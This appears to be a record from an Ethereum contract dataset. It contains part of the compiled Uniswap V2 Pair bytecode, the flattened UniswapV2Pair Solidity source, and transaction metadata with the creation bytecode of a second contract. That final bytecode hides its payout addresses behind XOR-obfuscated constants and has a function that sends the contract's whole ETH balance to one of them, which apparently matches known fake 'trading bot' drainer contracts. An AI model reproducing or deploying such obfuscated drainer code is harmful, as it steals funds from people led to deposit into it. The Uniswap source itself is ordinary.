5b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1
19,493,230
d20f6643cff283807e7e46c0ec1c401130bd5138cb56f7d98cd83d142ccedae2
11d3c088ca7be7d0501d0ed3987a99b2fd924e82c4fb8e95766e69cd144abe59
5487edffa5f9cd3078c5fbd2fc44856d49e813aa
5487edffa5f9cd3078c5fbd2fc44856d49e813aa
3b94268050e62866924965dc7433efc242f27118
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0deffd12b58dd5875da1c4d6abcdbf6a1e4f5ce442a6007557f8a727dc41d83211e47d3c0de9ac40f2496db00ab0e7104b87eea49a2d63aaf2e6008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220a3b21d63ea459eacd7dc3e405a041cb06bcf572f797ee315160ef4f8525d616064736f6c63430008070033
